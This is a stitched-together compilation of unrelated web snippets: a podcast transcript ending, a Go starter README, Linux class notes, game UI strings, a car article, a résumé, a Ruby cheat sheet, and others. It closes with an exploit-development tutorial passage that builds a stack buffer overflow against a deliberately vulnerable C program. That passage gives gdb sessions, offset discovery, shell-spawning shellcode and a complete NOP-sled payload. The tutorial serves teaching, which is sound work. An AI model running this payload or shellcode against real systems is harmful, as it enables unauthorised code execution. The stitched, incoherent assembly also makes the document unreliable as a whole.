don't want to just arbitrarily automate everything. But if you're mindful and looking for those opportunities, it can really, really, really make a difference in how you run the business and how much you enjoy running the business. The other thing, too, depending on the type of task, there are a lot of things for me that would be 30 second tasks. But anything that's 30 seconds, once you're at 30 seconds or a minute, you've got some context switching costs in there, too, right?
It's basically 10 minutes.
Yeah, it's basically 10 minutes, or even longer. If you get distracted because you're switching apps and you get sidetracked by Twitter or whatever, email, then who knows, it could be 30 minutes. So the cost isn't ever simply let me time myself performing this task. There's a lot of risk in losing time by distraction.
That's the worst for me, by the way, Twitter. Because one of the tasks on my weekly to do list is in a tweet, I need to be sending out tweets every day. And inevitably, I go to send out a tweet, and I just send retweets for an hour. One of the things that I've noticed about, and I think it's interesting about your Starting and Sustaining book and your blog is really that you're giving all sorts of advice that's based on your experience and based on things that you've learned. I have a question for you: is there any books or movements or philosophies that you find particularly true or compelling?
About development and business?
About entrepreneurship, specifically.
For me, it's kind of two things. One, it's that drawing a lot of inspiration from what other people are doing. Just like I'm trying to share things so that other people don't make the dumb mistakes I made. Trying to learn from everybody else mistakes and what they've figured out over time. But at the same time, trying to pull it all together and synthesize it into something that feels right for me, and that I'm comfortable and happy with. So there's countless influences. There's tons and tons of people, and the more people I interact with, the more I learn and figure out. There's just so many people that have a lot of great insight and wisdom that it's kind of hard to point to one place and say this person, they're the wind beneath my wings. But there's not just different sources, but opposing sources. Most of the people I know have bootstrapped their apps. I've talked to a lot of people about bootstrapping extensively, but I've also made a point to try and talk to people who've raised money. And the pros and cons. And to read about the opinions of people who've raised money. What they regret, whether they were happy with it. So that I have some context and kind of understand, and can form a stronger opinion about why I feel the way I do about different topics.
Yeah, that makes a lot of sense. I think the worst thing that anyone can do is to make decisions without being aware that they're making them. Or without being aware of why they're making them. And on that note, I'd like to ask, is there any advice that you have in particular for aspiring entrepreneurs, people who are starting their businesses, or mistakes that you see people making often?
Beyond the stuff that we've already covered, I'm not sure. I would say two things. And these are more my personal things. They may not be super relevant for others, but I feel like they probably are. One is to, before doing it, make sure you know that you want to start a business. I feel like too many people, and now I know better and understand, but I feel like I wanted to start a business because I wanted to start a business. And Sifter kind of happened, but I knew someday I wanted to start a business. I just didn't want to do it then. So really make sure you want to start a business. Understand what it means to start a business. Don't just start a business because that's what everybody's doing, and that's what you feel you have to do. And then the other thing is kind of an extension of that, which is to, what's the best way? And this kind of goes back to the philosophies of merging and start a business your way. There's too many stories out there where people are sharing what worked for them. And I feel like people will see that and they're like, I'm gonna do that. But it doesn't always work. And I think it just would help for people to go, I wanna blaze my own trail. So focus more on do what works for you. Don't try to copy what other people have done. Learn from other people, see what they've done, but then factor that into your decision-making. Don't just let that be the decision.
Cool, and that is excellent advice. And on that note, I think it's a pretty good place for us to stop. Can you tell everybody where they can go to read more about yourself and what you're working on now?
Yes, so garrettdimon.com, with two Rs, two Ts, dimon dot com. And StartingAndSustaining.com, which right now it's a Medium site. But it's going to be a little more ambitious here in the near future with the podcast and the second edition of the book as I start working on that in the open. Hopefully in the next couple weeks.
Awesome, thanks for coming on the show. And hopefully I can talk to you again in the future at some point.
Yeah, of course, thanks for having me.
If you enjoyed this episode of the Indie Hackers Podcast, you should join Garrett and me on the Indie Hackers forum, where we'll be discussing this episode, our conversation, and answering your questions, too. Just visit www.indiehackers.com/forum. Thanks, and see you guys next time.


Simply Welcome
A Go project used as a starting point for web applications. No need to look how to structure the application on every new project, clone simple and start working.
Features & Third party packages
- Beego for most of things
- Gorilla websocket for websockets (currently server to clients only)
- Configuration files for Nginx, SystemD and Supervisord
- Starting websocket client models (rooms-clients)
- Login and API rate limiting
You can also check the following API endpoints:
http://localhost:8080/api/v1/websocket
a small API endpoint showing current connected websocket clients
http://localhost:8080/api/v1/rate-limiter a small API endpoint showing how rate limiting works (refresh the page to reach the limit)
React ready
How to use
Clone, change name at the following files:
- Project directory name
- Project name at conf/app.conf
- gosimple.com.nginx to your project name/domain (needs to be done inside the config file too)
- gosimple-supervisor.conf to your project name/domain (needs to be done inside the config file too)
- gosimple.service to your project name/domain (needs to be done inside the config file too)
By doing the above, you have an app ready to run at server boot, Nginx vhost and SSL ready.


Linux Class 2!
Anne LoVerso (Olin College of Engineering)
Commands Review
- cd - change directory; cd Documents
- ls - list
- pwd - print working directory
- mkdir - make directory; mkdir my_new_directory
- rm - remove; rm my_file.txt
- rmdir - remove directory; rmdir my_new_directory
- cp - copy a file; cp my_file.txt /home/Documents/other_directory
- mv - move (or rename); mv my_other_file.txt /home/Documents/other_directory
Get data from the internet
wget <url>
Example: text files at Project Gutenberg
Installing things from the internet
- tar.gz file: tar -zxvf <filename>
- zip file: unzip <filename>
- deb file: dpkg -i <filename>
Search and Find
Use find to find files or directories
- find -type d
- find -type f
- find -name <filename>
Use grep to search in a file
- grep -n <pattern> <filename>
Other File Commands
- sed - search and replace; sed s/the/WOW pg84.txt
- wc - word count tool; wc pg84.txt
Redirecting Output
- Use > to redirect output; cat > list1
- Use >> to APPEND output; cat >> list1
- sort
- sort < list1 - prints sorted list
- sort < list1 > sortedlist1 - saves sorted list to new file
- pipes - redirect commands into another; grep 'the' pg84.txt | wc -w
Your own commands and Bash
Command ls -a in your home directory to list ALL files, even hidden ones
Open up the file .bashrc in a text editor
"alias" to rename a command or create your own
For changes to take effect, restart terminal or type command "exec bash"
Writing Bash shell scripts
You can create a string of commands to be executed all at once
Open up a text editor and write the commands one after another
Save it as <filename>.sh


JS Breakout
GAME OVER!
Unfortunately, you were not able to beat JS-Breakout...
CONGRATULATIONS!
You have beaten JS Breakout! You have gotten a perfect score of 50/50!
Sorry!
Unfortunately, you cannot change the number of lives you have once you have lost a life. Please wait until the next round or restart the round.
Are you sure?!
Are you sure you want to restart the game?
Show/hide settings
Game settings
Number of lives
Easy
Medium
Hard
Restart
Pause
Number of lives
Error


Flies Fly
Rules of the Game
Press the space bar to get a new sentence, and keep it pressed.
Release the space bar only if the animal or thing flies!


You are viewing an historical archive of past issues. Please
report new issues to the appropriate project issue tracker on
GitHub.
Comments
-
Greg Hurrell
This is a duplicate of feature request #365 so I'm going to mark it as closed.
-
Greg Hurrell
Status changed:
- From: new
- To: closed
Add a comment
Comments are now closed for this issue.


1 reference to ProcessWSManProtocol
Microsoft.PowerShell.Commands.Management (1)
commands\management\Computer.cs (1)
1206
ProcessWSManProtocol
(flags);


This area of the Owin Framework provides tools to assist with testing and debugging your application, including:
- Visualization tools to help you to figure out configuration related issues.
- Configuring tracing and logging to get better insight into request processing.
- Configurable mocks to make it quick and easy to write unit tests.
- Runtime analytics to help to pin down performance and scaleability issues.
- Extracting and formatting documentation embedded into the application code.
Further reading
Walkthrough of how to build a website with the Owin Framework
Walkthrough of how to build a microservice with the Owin Framework
Related Projects


Implement the capability to have transient environments.
Transient Environments
Run the Transient Environment job
Go to http://IPADDRESS:8080/jenkins/job/Transient/. IPADDRESS is the IP Address assigned to you when you launched the Jenkins stack.
Select the Configure link for the Jenkins job. View the job configuration.
View the Transient Environment code and infrastructure.
From the AWSCLI instance, open up the devopsinthecloud/scripts/sqs_receive_message.rb file. You can also find the file by visiting https://github.com/stelligent/devopsinthecloud/blob/master/scripts/sqs_receive_message.rb
This script is configured in Jenkins to run every night.


Configure Notification for your application
Select Application *
Select Notification Channel *
Notification Trigger *
The target name can be topic or rover-group name or kerberos ID or event name which your applications users are subscribe to.


|
LaserPirates
|
Public Member Functions | |
| Point (int x, int y) | |
| void | setLocation (int x, int y) |
| Point | offsetLocation (int offsetX, int offsetY) |
| Point | offsetX (int offsetX) |
| Point | offsetY (int offsetY) |
| void | setLocation (Point p) |
| int | getX () |
| int | getY () |
| void | setX (int x) |
| void | setY (int y) |
| Point | factor (int factor) |
| Point | factor (Rational rational) |
The Point
class defines a point representing a location in
coordinate space.
Definition at line 14 of file Point.java.
| game.module.geometry.shape.Point.Point | ( | int | x, |
| int | y | ||
| ) |
Constructs and initializes a Point2D
with the specified coordinates.
| x | the X coordinate of the newly constructed Point2D |
| y | the Y coordinate of the newly constructed Point2D |
Definition at line 24 of file Point.java.
| Point game.module.geometry.shape.Point.factor | ( | int | factor | ) |
| int game.module.geometry.shape.Point.getX | ( | ) |
Definition at line 91 of file Point.java.
| int game.module.geometry.shape.Point.getY | ( | ) |
Definition at line 99 of file Point.java.
| Point game.module.geometry.shape.Point.offsetLocation | ( | int | offsetX, |
| int | offsetY | ||
| ) |
offsets x of Point2D
to the specified float
coordinates.
| offsetX | the new X coordinate of this Point2D |
| offsetY | the new Y coordinate of this Point2D |
Definition at line 50 of file Point.java.
| Point game.module.geometry.shape.Point.offsetX | ( | int | offsetX | ) |
Sets the location of this Point2D
to the specified float
coordinates.
| offsetX | the new X coordinate of this Point2D |
Definition at line 62 of file Point.java.
| Point game.module.geometry.shape.Point.offsetY | ( | int | offsetY | ) |
Sets the location of this Point2D
to the specified float
coordinates.
| offsetY |
Definition at line 73 of file Point.java.
| void game.module.geometry.shape.Point.setLocation | ( | int | x, |
| int | y | ||
| ) |
Sets the location of this Point2D
to the specified float
coordinates.
| x | the new X coordinate of this Point2D |
| y | the new Y coordinate of this Point2D |
Definition at line 36 of file Point.java.
| void game.module.geometry.shape.Point.setLocation | ( | Point | p | ) |
Sets the location of this Point2D
to the same coordinates as the specified Point2D
object.
| p | the specified Point2D to which to set this Point2D |
Definition at line 83 of file Point.java.
| void game.module.geometry.shape.Point.setX | ( | int | x | ) |
| void game.module.geometry.shape.Point.setY | ( | int | y | ) |


Here's a selection of some recent work. For more up to the minute work you can visit me on instagram or twitter.
If you have a project that you want to get started, think you need my help with something, then get in touch.


Official: Audi e-tron Will NOT Get A Second Generation
But the e-tron name will live on.
by Jared RosenholtzThe Audi e-tron family welcomed its newest member with the introduction of the 2020 e-tron Sportback, a new, sleeker, sportier version of the company's electric crossover. The e-tron Sportback debuted at the 2019 Los Angeles Auto Show sporting some impressive Matrix LED headlights, a slightly improved range, and some changes under the skin compared to the standard e-tron.
Sitting down with Matt Mostafaei, Product Manager for the e-tron Sportback, we had a chance to talk about the future of electric vehicles from Audi as the company expands the e-tron portfolio. "Next year we will have the e-tron GT production version here in LA," Mostafaei told us. "And beyond that, we will have the Q4 e-tron," which previews a smaller e-tron model yet to come.
With the Q4 e-tron set to be the fourth model in the e-tron range, we asked Mostafaei why Audi had chosen to attach an alpha-numeric name to that model, while the current e-tron models have separate, standalone names. "The e-tron name moving forward is purely reserved for electric vehicles. Our plug-in hybrids will be called TSFI e," he explained.
"The e-tron was the first of our electric onslaught and takes the title of holding our electric future. Then, as that future comes to proliferation and comes to life, we'll start mixing in normal models - Q4 being the first one - into our lineup."
So as Audi starts to add new e-tron-branded models like the Q4 (and possibly a Q6 in the future), where does this leave the first e-tron that started it all?
"The e-tron you see here will theoretically never die just like the Quattro from the '80s has never really died. Quattro lives on in all the cars we build today and the e-tron will continue to live on in all of our vehicles," Mostafaei said.
We asked Mostafaei directly if this means we won't see a second generation e-tron in the future. "You definitely won't," Mostafaei answered. "The e-tron as you see it is just the start of everything else that's to come."
Audi also confirmed to CarBuzz that it has decided to use even numbers on its electric products moving forward, like the Q4 as an example. Mostafaei told us the Q4 would have a similar footprint to the Q3, but with the interior volume of a Q5. Similarly, if Audi released a Q6 e-tron, it would have the footprint of a Q5 with the interior space of a Q7. So although the e-tron's life as a standalone model will be short, its legacy should live on in Audi's lineup.


Twenty Six Years Old
Undergraduate and bachelor at Tianjin Polytechnic University
Major in Software Engineering
Aug 2013 - Feb 2014
Related technology: Java, oracle, Spring, Struts,Hibernate,JSP,jQuery
Mar 2014 - Mar 2015
Related technology: Java, jQuery,ajax,css,html,html5,css3
Mar 2015 - Now
Related technology: jQuery,Bootstrap,AngularJS,WeUI,Sass,Node.js,html5,css3,highcharts,ECharts
(even better if is related with graphic visualization, mobile webApp, HybridApp)
Or, surprise me with a generous offer!
Email: me@lutongchun.com


Study Area Locator Map
Please Click Inside Red Study Area Marker Square To See Detailed View Of Study Area


WITNESS LIST Criminal Justice Committee February 17, 2005 - 1:30P International Prisoner Transfer ON: Brown, Calvin Inmate Administrator, Manager (Georgia Department of Corrections), Atlanta, GA Livingston, Brad Interim Exective Director (Texas Department on Criminal Justice), Huntsville, TX Owens, Rissie Chair (Texas Board of Pardons and Paroles), Huntsville, TX Slater, Judith MS (Self), Houston, TX Vernon, Kim Director (State Counsel of Offenders), Huntsville, TX Wilkinson, Graham Head of Cross Border Transfer (HM Prison Service), London, United Kingdom Wolff, Paula Chief, International Prisoner Transfer Unit (US Dept of Justice, Criminal Division), Washington, DC Technical Violation ON: Connolly, Michele (Legislative Budget Board), Austin, TX


{% load i18n %}
The question file should have the marks corressponding to each of the cells that are to be answered by the students in angular brackets. The solution file should have the value of the answer corresponding to the cell as in the question file.
For further reference, you can download a sample question file here and a sample solution file here.


Hover over the space next to each method for an explanation of its use.
Arrays
Adding Items
- .push : Add a new item to the end of an array. You can also use <<
- .unshift :Add a new item to beginning of an array.
- .insert :
- Add a new element to an array at any position. array.insert(2, ‘Jackie’) will insert ‘Jackie’ in the 3rd position. You can add multiple items this way.
Removing Items
- .pop :Removes the last element from the array and returns it, or nil if the array is empty. You can specify a number such as array.pop(2) which will return an array of the last 2 elements.
- .shift :Retrieves and removes the first element from the array.
- .delete_at(index) :Deletes an element at a particular index.
- .delete(element) : Deletes a particular element anywhere in the array.
- .slice(index) : Deletes the element at the given index. You can specify a range.
- .compact :Removes nil values from an array.
- .uniq :Removes duplicate elements from an array.
Iterators
- .each :Leaves array unchanged and returns the values of the code block.
- .each_index :Same as each, but passes the index of the element instead of the element itself.
- .reverse_each :Iterates over the elements in an array in reverse order.
- .map {|item| block of code} :Outputs an array with values returned by the block.
- .map! {|item| block of code} :Outputs an array with the values replaced by the value returned by each block.
Selecting Items
- .select{|a| code block for condition} : Selects elements from an array according to the criteria in the code block. Will return a new array unless you use select!, the destructive form, in which case it modifies the original array.
- .reject{|a| code block for condition} : Same as with select, except it will reject the values based on the code block you specify. Again, you can use a destructive form with reject!
Array/Element Reference
- [index] :Returns the element at the array’s index specified.
- [range] :Returns a subarray containing the elements from that range of indexes, inclusive.
- .count :Returns number of elements in the array. You can include a code block that will return the number of elements for which the code block returns true.
Other useful methods for arrays!
- .concat : Adds elements to the array.
- .cycle(number) {code block} : Calls the code block on the array a certain number of times.
- .join(separator) : Returns a string with each element from the array separated by the given separator.
- .reverse : Returns a new array containing the array’s elements in reversed order.
- .flatten :Returns a new array that is a one dimensional flattening of the initial array. If you’d like, you can specify a level to flatten, such as array.flatten(1) to flatten one level. Otherwise, it will flatten all levels.
- .sample(optionalNumber) : Chooses a random element or random number of elements from the array.
- .sort : Returns a new sorted array. Must use destructive version sort! if you want to modify the original array.
Hashes
Assignment
- hash = {key: value, key2: value2} : Creates a new hash with as many key-value pairs as you indicate.
- hash[:key] : Will return value of this key.
- hash.to_a : Returns a nested array of the hash’s key-value pairs.
Removing Items
- hash.delete(“a”) : Deletes the key-value pair from the key indicated.
- hash.delete_if {|key, value| key > “a” } : Deletes every key-value pair for which the code block evaluates to true.
- hash.shift : Removes first key-value pair from hash and returns that pair as a two-item array.
Iterators
- hash.each {|key, value| puts “#{key} holds #{value}” } : Calls the code block on the key-value pairs for each key in the hash.
- hash.each_key {|key| puts key } : Calls code block on each key in the hash.
- hash.each_value {|value| puts value } : Calls code block on each value in the hash.
Hash/Element Reference
- hash[:key] : Will return value of this key.
- hash = Hash.new(0) : Sets default value of 0 for accessing keys that do not exist in the hash.
- hash.has_key?(“a”) : Returns true if the key is present in hash.
- hash.has_value?(10) Returns true if the value is present for any key in the hash.
- hash.length : Returns number of key-value pairs in the hash.
Selecting Key-Value Pairs
- hash.select {|key, value| block} : Returns a new hash consisting of key-value pairs for which the block is true.
Resources for more information:


All the content on this website, including this post, is intended for educational use only. The techniques and processes presented should only be used against systems you own or have explicit written permission to target. Otherwise, you are breaking the Law - be smart. The author/s of this website will not accept any liability for misuse of this content.
Our New Improved Program
For the time being, we will depart from our login.c example. We will focus on exploiting another program called simple_overflow.c.
#include <stdio.h> #include <stdlib.h> #include <string.h> int say_hi(name) { char buffer[200]; strcpy(buffer, name); printf("Hello %s\n", buffer); return 0; } int main(int argc, char *argv[]) { say_hi(argv[1]); }
We thank Ars Technica [1] for the inspiration behind this example. As you can see the user specifies their name to the program as a command-line argument. A function is then called with this argument as a parameter. The function say_hi declares a buffer of size 200 bytes and copies our user input (argv[1] renamed to 'name' in the function) into the buffer. This is done without any checks on the length of the user input written to the buffer. Hence we can write data of arbitrary size into the buffer. This will cause a Stack overflow if the length of our input is greater than 200 characters. Let's see this in action.
debug@lbuntu:~/Documents/exploitdev/chapter2/stack$ gcc -fno-stack-protector -z execstack -o simple_overflow simple_overflow.c debug@lbuntu:~/Documents/exploitdev/chapter2/stack$ ./simple_overflow $(perl -e 'print "A"x210') Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault (core dumped) debug@lbuntu:~/Documents/exploitdev/chapter2/stack$
Let's have a look at the Stack frame in this instance.
The data written to the Stack frame due to the overflow
As you can see we have partially overwritten the saved EBP on the Stack. When this value is restored (into the EBP register) after the function has executed, the program will try and access data relative to this address on the Stack. However, EBP now points to a non-sensical address and the program crashes.
Installing Peda
As you might have guessed our program is in no way ‘improved’ and is just as exploitable as login.c (even more so as we shall soon see). To aid us with exploiting this program, we will install a plugin for gdb called Peda. The installation of Peda is fairly straightforward.
git clone https://github.com/longld/peda.git ~/peda echo "source ~/peda/peda.py" >> ~/.gdbinit
When we load up gdb it will look a little different - cooler even. We have a good knowledge of what the Stack frame looks like now and we should be able to overwrite RET with little effort.
debug@lbuntu:~/Documents/exploitdev/chapter2/stack$ gdb ./simple_overflow GNU gdb (Ubuntu 8.2-0ubuntu1~18.04) 8.2 Copyright (C) 2018 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later http://gnu.org/licenses/gpl.html This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i686-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: http://www.gnu.org/software/gdb/bugs/. Find the GDB manual and other documentation resources online at: http://www.gnu.org/software/gdb/documentation/. For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from ./simple_overflow...(no debugging symbols found)...done. gdb-peda$ run a Starting program: /home/debug/Documents/exploitdev/chapter2/stack/simple_overflow a Hello a [Inferior 1 (process 1607) exited normally] Warning: not running gdb-peda$ disas say_hi Dump of assembler code for function say_hi: 0x0040054d <+0>: push ebp 0x0040054e <+1>: mov ebp,esp 0x00400550 <+3>: push ebx 0x00400551 <+4>: sub esp,0xd4 0x00400557 <+10>: call 0x400450 <__x86.get_pc_thunk.bx> 0x0040055c <+15>: add ebx,0x1a78 0x00400562 <+21>: mov eax,DWORD PTR [ebp+0x8] 0x00400565 <+24>: sub esp,0x8 0x00400568 <+27>: push eax 0x00400569 <+28>: lea eax,[ebp-0xd0] 0x0040056f <+34>: push eax 0x00400570 <+35>: call 0x4003e0 strcpy@plt 0x00400575 <+40>: add esp,0x10 0x00400578 <+43>: sub esp,0x8 0x0040057b <+46>: lea eax,[ebp-0xd0] 0x00400581 <+52>: push eax 0x00400582 <+53>: lea eax,[ebx-0x1974] 0x00400588 <+59>: push eax 0x00400589 <+60>: call 0x4003d0 printf@plt 0x0040058e <+65>: add esp,0x10 0x00400591 <+68>: mov eax,0x0 0x00400596 <+73>: mov ebx,DWORD PTR [ebp-0x4] 0x00400599 <+76>: leave 0x0040059a <+77>: ret End of assembler dump. gdb-peda$ break *0x00400589 Breakpoint 1 at 0x400589 gdb-peda$ run $(perl -e 'print "A"x212 . "B"x4') Starting program: /home/debug/Documents/exploitdev/chapter2/stack/simple_overflow $(perl -e 'print "A"x212 .  [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x00400589 in say_hi () gdb-peda$ info registers eax 0x400660 0x400660 ecx 0xbffff760 0xbffff760 edx 0xbffff448 0xbffff448 ebx 0x401fd4 0x401fd4 esp 0xbffff360 0xbffff360 ebp 0xbffff448 0xbffff448 esi 0xb7fba000 0xb7fba000 edi 0x0 0x0 eip 0x400589 0x400589 say_hi+60> eflags 0x292 [ AF SF IF ] cs 0x73 0x73 ss 0x7b 0x7b ds 0x7b 0x7b es 0x7b 0x7b fs 0x0 0x0 gs 0x33 0x33 gdb-peda$ info frame Stack level 0, frame at 0xbffff450: eip = 0x400589 in say_hi; saved eip = 0x42424242 called by frame at 0xbffff454 Arglist at 0xbffff448, args: Locals at 0xbffff448, Previous frame's sp is 0xbffff450 Saved registers: ebx at 0xbffff444, ebp at 0xbffff448, eip at 0xbffff44c gdb-peda$
We run the program first so we can see exactly where the program is loaded into memory when we disassemble it. We set a breakpoint immediately after the program copies our input to the buffer. As you can see after the copy we have successfully overwritten the Stack. The RET address is located at an offset of 212 bytes from the start of the buffer. This allows us to locate and overwrite the contents of RET.
We successfully overwrite RET.
This is well and good but we could only do this as we have a good knowledge of the structure of the Stack frame. With more complicated programs this might not be possible or at least not practical. Let's have a look at a more general approach to overwriting the return address.
The Unique String Method to Overwrite RET
Up to this point, we have been inputting a string of A characters to the program. Hence if the RET address is overwritten by As it is not possible to get any information about the offset at which RET is located from the buffer since the string we input is identical everywhere. E.g the As at the start of the buffer are indistinguishable from the As at the end of the buffer.
Instead of doing this, we will send a unique string to the application. Once we've located the 4 bytes that overwrite RET we will be able to determine the offset at which RET was overwritten. Let's see this in action.
Firstly we create a unique string of length 300 using a tool called pattern create. This string is longer than 200 and, as we have seen, will cause a buffer overflow when given as input to the program. We save this string to buffer.txt.
gdb-peda$ pattern create 300 buffer.txt Writing pattern of 300 chars to filename "buffer.txt" gdb-peda$
Now we specify the unique string as our input, aka the contents of buffer.txt
gdb-peda$ run $(cat ./buffer.txt) Starting program: /home/debug/Documents/exploitdev/chapter2/stack/simple_overflow $(cat ./buffer.txt) ... Breakpoint 1, 0x00400589 in say_hi () gdb-peda$
We encounter our breakpoint (remember this is immmediatly after our string has been copied to the buffer). Now we can analyse the contents of the return address.
gdb-peda$ info frame Stack level 0, frame at 0xbffff3f0: eip = 0x400589 in say_hi; saved eip = 0x25412425 called by frame at 0xbffff3f4 Arglist at 0xbffff3e8, args: Locals at 0xbffff3e8, Previous frame's sp is 0xbffff3f0 Saved registers: ebx at 0xbffff3e4, ebp at 0xbffff3e8, eip at 0xbffff3ec gdb-peda$
As you can see RET has been overwritten with 0x25412425. All that is left to do is to determine where these 4 bytes appear in our unique string. Luckily there is a tool called pattern offset that will do this for us.
gdb-peda$ pattern offset 0x25412425 625026085 found at offset: 212 gdb-peda$
As expected pattern offset has calculated the offset of the RET address to be 212 bytes. This is what we found before via our manual Stack frame analysis. This is a better, general approach to finding the offset of RET. We can now overwrite RET with the payload $(perl -e ‘print “A”x212 . “B”.4’) as before.
gdb-peda$ run $(perl -e 'print "A"x212 . "B"x4') Starting program: /home/debug/Documents/exploitdev/chapter2/stack/simple_overflow $(perl -e 'print "A"x212 . "B"x4') ... Breakpoint 1, 0x00400589 in say_hi () gdb-peda$ info frame Stack level 0, frame at 0xbffff450: eip = 0x400589 in say_hi; saved eip = 0x42424242 called by frame at 0xbffff454 Arglist at 0xbffff448, args: Locals at 0xbffff448, Previous frame's sp is 0xbffff450 Saved registers: ebx at 0xbffff444, ebp at 0xbffff448, eip at 0xbffff44c gdb-peda$
The Structure of our Exploit
We are now at a point where we can develop an exploit for our application. Before we dive into the details lets get an overview of the exploit's structure.
At this point, we've overwritten RET which will write an arbitrary memory address of our choosing into the EIP. We now need to decide where to redirect execution. We would ideally like to execute arbitrary code that we control. Let's take a closer look at the what we've got so far.
This is our exploit so far. We have a string of 212 A's and we overwrite the RET address with BBBB.
At the moment we don't have any code that is suitable to execute in this exploit. However, there is space for this code in place of the A's that we have sent to the program. The plan is to replace our As with some exploit code.
But what does our exploit code look like and what should it do? Well since this is a running program the CPU will only be able to run machine code - there is no use putting C code in here! As such we will have to inject machine code into the program. Writing machine code is not a trivial pursuit. This is covered in the Shellcode Section of this website.
In terms of what our exploit code should do, we can make it do whatever we want. We could write code that writes to a file, creates a new user with sudo privileges or simply spawn a shell. We will opt for the shell spawning option. The following sequence of bytes will, when executed, spawn a shell [2].
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
Lets indeed verify this by compiling and running the following script which will execute these sequence of commands.
#include <stdio.h> #include <string.h> char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"; int main(void) { fprintf(stdout,"Length: %d\n",strlen(shellcode)); (*(void(*)()) shellcode)(); return 0; }
debug@lbuntu:~/Documents/exploitdev/chapter2/stack$ gcc -o shell shell.c debug@lbuntu:~/Documents/exploitdev/chapter2/stack$ ./shell Length: 23 $ id uid=1000(debug) gid=1000(debug) groups=1000(debug),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),122(sambashare) $
Indeed we are greeted with a shell so we know that the Shellcode works.
The next step is to redirect the program to our Shellcode for execution. There is one main problem with doing this - how do we know which address to go to? Determining the address at which our Shellcode resides it not trivial. Slight changes in the way the program is loaded into memory can change the location of our Shellcode in memory. If we are not careful this could break our exploit as we may jump to the wrong address. However we have a trick up our sleeve.
The \x90 character is the NOP or no operation command in Assembly. When this command is seen by the CPU it does nothing and moves to the next instruction. This is generally used for timing purposes within a program. We will use it to increase the address range that we can jump to and still have our Shellcode execute.
This is our exploit now. We have a NOP Sled to 'catch' the program and slide execution towards our Shellcode. We write the memory address several times to maximise our chances of overwriting RET if the program is written to memory in a slightly different format. It's not shown in this picture but we include 3 A characters to align the memory address written to RET correctly. See the exploit code below.
Exploit code: $(perl -e 'print "\x90"x150 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "A"x3 . "BBBB"x10')
This is what our exploit looks like now. We've ensured that the length of the exploit is 216 bytes long as before. This was calculated as 150 + 23 + 3 + 4x10 = 216 where 23 is the length of out Shellcode. The As are include to align the return address. The RET address will point into our string of NOP characters, known as a NOP Sled. We repeat our return address (Bs at the moment) several times to increase the odds of us overwriting RET in case the layout of memory changes slightly. The program will see each of the \x90 instructions and simply do nothing and pass to the next instruction. This will continue until the program reaches our Shellcode. As long as we land somewhere in this NOP Sled our program will get to our exploit code. Let's find an address that will be inside our NOP Sled.
gdb-peda$ run $(perl -e 'print "\x90"x150 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "A"x3 . "BBBB"x10') Starting program: /home/debug/Documents/exploitdev/chapter2/stack/simple_overflow $(perl -e 'print "\x90"x150 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "A"x3 . "BBBB"x10') ... Breakpoint 1, 0x00400589 in say_hi () gdb-peda$ x/64xw $esp 0xbffff360: 0x00400660 0xbffff378 0xb7fffd8c 0x0040055c 0xbffff370: 0xbffff460 0x00000000 0x90909090 0x90909090 0xbffff380: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff390: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff3a0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff3b0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff3c0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff3d0: 0x90909090 0x90909090 0x90909090 0x90909090 (We will jump to this address) 0xbffff3e0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff3f0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff400: 0x90909090 0x90909090 0x90909090 0xc0319090 (Start of our Shellcode) 0xbffff410: 0x2f2f6850 0x2f686873 0x896e6962 0x895350e3 0xbffff420: 0xcd0bb0e1 0x41414180 0x42424242 0x42424242 0xbffff430: 0x42424242 0x42424242 0x42424242 0x42424242 0xbffff440: 0x42424242 0x42424242 0x42424242 0x42424242 0xbffff450: 0xbffff600 0xbffff514 0xbffff520 0x004005b1 gdb-peda$
We can see our NOP characters on the Stack as well as our return address repeated several times. Now, all we need to do is pick an address in the middle of these characters. For example, the memory address 0xbffff3d6 contains a long series of NOP characters before and after it. This should account for any small fluctuations in where the program is loaded in memory. Let's add this address to our exploit.
Exploit code: $(perl -e 'print "\x90"x150 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "A"x3 . "\xd6\xf3\xff\xbf"x10')
The address is written in backward as Intel x86 uses Little Endian format. Lets set a breakpoint at this address and at 0xbffff40e, the address that our Shellcode starts.
gdb-peda$ break *0xbffff3d6 Breakpoint 2 at 0xbffff3d6 gdb-peda$ break *0xbffff40e Breakpoint 3 at 0xbffff40e gdb-peda$
Now, let's run our exploit and see what happens.
